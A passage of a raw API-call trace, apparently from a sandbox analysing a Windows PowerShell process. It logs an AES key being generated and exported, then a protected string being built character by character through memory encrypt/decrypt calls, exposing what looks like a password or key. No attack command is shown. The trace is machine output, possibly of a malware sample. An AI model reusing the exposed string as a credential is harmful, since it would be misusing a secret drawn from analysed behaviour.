Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.424] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e028b0) returned 1 [0137.425] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849b8) returned 1 [0137.425] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.425] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.425] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6af99e8, pdwDataLen=0x99ae894 | out: pbData=0x6af99e8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.425] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.425] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.425] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.425] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.425] SysStringLen (param_1="") returned 0x8 [0137.425] SysStringLen (param_1="F") returned 0x8 [0137.425] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.425] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0137.425] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0137.425] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.425] SysStringLen (param_1="Fp") returned 0x8 [0137.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="\x95c6\xab46\xeb97\x981e\x467b\xb4e9\xaafb\xcc14") returned 0x8 [0137.426] SysStringLen (param_1="\x95c6\xab46\xeb97\x981e\x467b\xb4e9\xaafb\xcc14") returned 0x8 [0137.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="Fpm") returned 0x8 [0137.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="\x4c27\x48de\xcd1a\xc139\x6290\xa314\xfb56\xe1b3") returned 0x8 [0137.426] SysStringLen (param_1="\x4c27\x48de\xcd1a\xc139\x6290\xa314\xfb56\xe1b3") returned 0x8 [0137.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="Fpmq") returned 0x8 [0137.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="\xb567\x9f47\x929a\x21f1\x7081\x6a95\xbc67\xca6") returned 0x8 [0137.426] SysStringLen (param_1="\xb567\x9f47\x929a\x21f1\x7081\x6a95\xbc67\xca6") returned 0x8 [0137.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="Fpmq2") returned 0x8 [0137.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="☸䉰轍匝Ⳛ鈐훅") returned 0x8 [0137.426] SysStringLen (param_1="☸䉰轍匝Ⳛ鈐훅") returned 0x8 [0137.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="Fpmq2p") returned 0x8 [0137.426] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.426] SysStringLen (param_1="\xc907\xf8a9\x602b\x50fd\xff31\xced6\xcf72\x1b1") returned 0x8 [0137.426] SysStringLen (param_1="\xc907\xf8a9\x602b\x50fd\xff31\xced6\xcf72\x1b1") returned 0x8 [0137.426] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.427] SysStringLen (param_1="Fpmq2pG") returned 0x8 [0137.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.427] SysStringLen (param_1="\x7d40\x559b\x3af9\x6819\x2557\x6c53\xcead\x9169") returned 0x8 [0137.427] SysStringLen (param_1="\x7d40\x559b\x3af9\x6819\x2557\x6c53\xcead\x9169") returned 0x8 [0137.427] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.427] SysStringLen (param_1="Fpmq2pGV") returned 0x8 [0137.427] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7") returned 0x8 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7") returned 0x8 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7") returned 0x8 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7") returned 0x10 [0137.427] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.427] SysStringLen (param_1="Fpmq2pGVz锑꾐额顳殲ؔ") returned 0x10 [0137.427] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x7f75\x242\x8fa7\xfbc6\xf44b\x6086\xba02\x18a9") returned 0x10 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x7f75\x242\x8fa7\xfbc6\xf44b\x6086\xba02\x18a9") returned 0x10 [0137.427] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.427] SysStringLen (param_1="Fpmq2pGVzm꾐额顳殲ؔ") returned 0x10 [0137.427] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x254c\x5d82\x15bc\x54ad\x1e1b\x3716\x5a19\xef37") returned 0x10 [0137.427] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x254c\x5d82\x15bc\x54ad\x1e1b\x3716\x5a19\xef37") returned 0x10 [0137.427] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="Fpmq2pGVzmM额顳殲ؔ") returned 0x10 [0137.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x7509\x13e5\xbc6c\xe1fc\xe96\x64dd\x63c9\xdcf7") returned 0x10 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x7509\x13e5\xbc6c\xe1fc\xe96\x64dd\x63c9\xdcf7") returned 0x10 [0137.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="Fpmq2pGVzmMh顳殲ؔ") returned 0x10 [0137.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x9ede\x90be\x4a96\xe05f\xef34\x4a4f\x8a1\x1885") returned 0x10 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x9ede\x90be\x4a96\xe05f\xef34\x4a4f\x8a1\x1885") returned 0x10 [0137.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="Fpmq2pGVzmMhO殲ؔ") returned 0x10 [0137.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x1303\x6317\xec5d\xfc24\xb64\xdf97\x20b6\x9dda") returned 0x10 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x1303\x6317\xec5d\xfc24\xb64\xdf97\x20b6\x9dda") returned 0x10 [0137.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="Fpmq2pGVzmMhObؔ") returned 0x10 [0137.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\xdf77\x5732\xc4a3\x7042\xc4c8\xe825\xef1\x793e") returned 0x10 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\xdf77\x5732\xc4a3\x7042\xc4c8\xe825\xef1\x793e") returned 0x10 [0137.428] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="Fpmq2pGVzmMhObSؔ") returned 0x10 [0137.428] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.428] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x5fd\x595\x6f14\x6e72\xe033\x2023\xd38c\x40dc") returned 0x10 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x5fd\x595\x6f14\x6e72\xe033\x2023\xd38c\x40dc") returned 0x10 [0137.429] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.429] SysStringLen (param_1="Fpmq2pGVzmMhObS6") returned 0x10 [0137.429] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b") returned 0x10 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b") returned 0x10 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b") returned 0x10 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b") returned 0x18 [0137.429] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.429] SysStringLen (param_1="Fpmq2pGVzmMhObS6Qﰲ쿡凈镙왴Dz枨") returned 0x18 [0137.429] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x6c7b\xae25\x76d3\xc3b\xcb12\xede4\x330b\x2a9d") returned 0x18 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x6c7b\xae25\x76d3\xc3b\xcb12\xede4\x330b\x2a9d") returned 0x18 [0137.429] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.429] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7쿡凈镙왴Dz枨") returned 0x18 [0137.429] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\xcb45\xe1db\x9942\xa3f\x5e86\x3dea\xe1ae\x7673") returned 0x18 [0137.429] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\xcb45\xe1db\x9942\xa3f\x5e86\x3dea\xe1ae\x7673") returned 0x18 [0137.429] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.429] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7L凈镙왴Dz枨") returned 0x18 [0137.429] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x85a4\xb516\x281\xb4e6\x6918\x8a63\xad34\x7a2") returned 0x18 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x85a4\xb516\x281\xb4e6\x6918\x8a63\xad34\x7a2") returned 0x18 [0137.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LT镙왴Dz枨") returned 0x18 [0137.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x2ba6\xde70\xc7b0\x2645\x238d\x3d2b\xdc1a\xc642") returned 0x18 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x2ba6\xde70\xc7b0\x2645\x238d\x3d2b\xdc1a\xc642") returned 0x18 [0137.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK왴Dz枨") returned 0x18 [0137.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x9524\xba4f\x4f78\x4faa\xbe29\x75f2\x422f\x7c76") returned 0x18 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x9524\xba4f\x4f78\x4faa\xbe29\x75f2\x422f\x7c76") returned 0x18 [0137.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/Dz枨") returned 0x18 [0137.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x20ad\xea0a\xc8ce\x458a\x8002\x6b1a\x3f95\xaff") returned 0x18 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x20ad\xea0a\xc8ce\x458a\x8002\x6b1a\x3f95\xaff") returned 0x18 [0137.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d枨") returned 0x18 [0137.430] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x58ab\x3fab\xc87e\xe12d\x824d\x72b2\x5720\x4317") returned 0x18 [0137.430] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x58ab\x3fab\xc87e\xe12d\x824d\x72b2\x5720\x4317") returned 0x18 [0137.430] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.431] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7") returned 0x18 [0137.431] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274") returned 0x18 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274") returned 0x18 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274") returned 0x18 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274") returned 0x20 [0137.431] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7g٬쥭꽣鍌駰리芧") returned 0x20 [0137.431] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x9dc2\xb4ba\x4819\xb955\x7fa5\xcccd\x5ee5\x9207") returned 0x20 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x9dc2\xb4ba\x4819\xb955\x7fa5\xcccd\x5ee5\x9207") returned 0x20 [0137.431] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gW쥭꽣鍌駰리芧") returned 0x20 [0137.431] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xcb44\x3543\xfe06\xe9ea\xea66\xd0fe\x573e\xac99") returned 0x20 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xcb44\x3543\xfe06\xe9ea\xea66\xd0fe\x573e\xac99") returned 0x20 [0137.431] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWe꽣鍌駰리芧") returned 0x20 [0137.431] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x617b\xb65\x8d7c\x2e4c\x942e\x9efa\xf6f4\xa0cd") returned 0x20 [0137.431] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x617b\xb65\x8d7c\x2e4c\x942e\x9efa\xf6f4\xa0cd") returned 0x20 [0137.431] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWeb鍌駰리芧") returned 0x20 [0137.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6b36\x4109\xc80c\xf3f6\x55b1\x9a91\x3cc3\xd9c7") returned 0x20 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6b36\x4109\xc80c\xf3f6\x55b1\x9a91\x3cc3\xd9c7") returned 0x20 [0137.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebW駰리芧") returned 0x20 [0137.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x1de9\xd2dd\x90ec\x720e\x73f7\xbb34\xf2fe\x24fb") returned 0x20 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x1de9\xd2dd\x90ec\x720e\x73f7\xbb34\xf2fe\x24fb") returned 0x20 [0137.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWb리芧") returned 0x20 [0137.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xdb59\xfa5e\xb250\x6a87\x1c1d\xce7c\x8c26\xb269") returned 0x20 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xdb59\xfa5e\xb250\x6a87\x1c1d\xce7c\x8c26\xb269") returned 0x20 [0137.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbH芧") returned 0x20 [0137.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 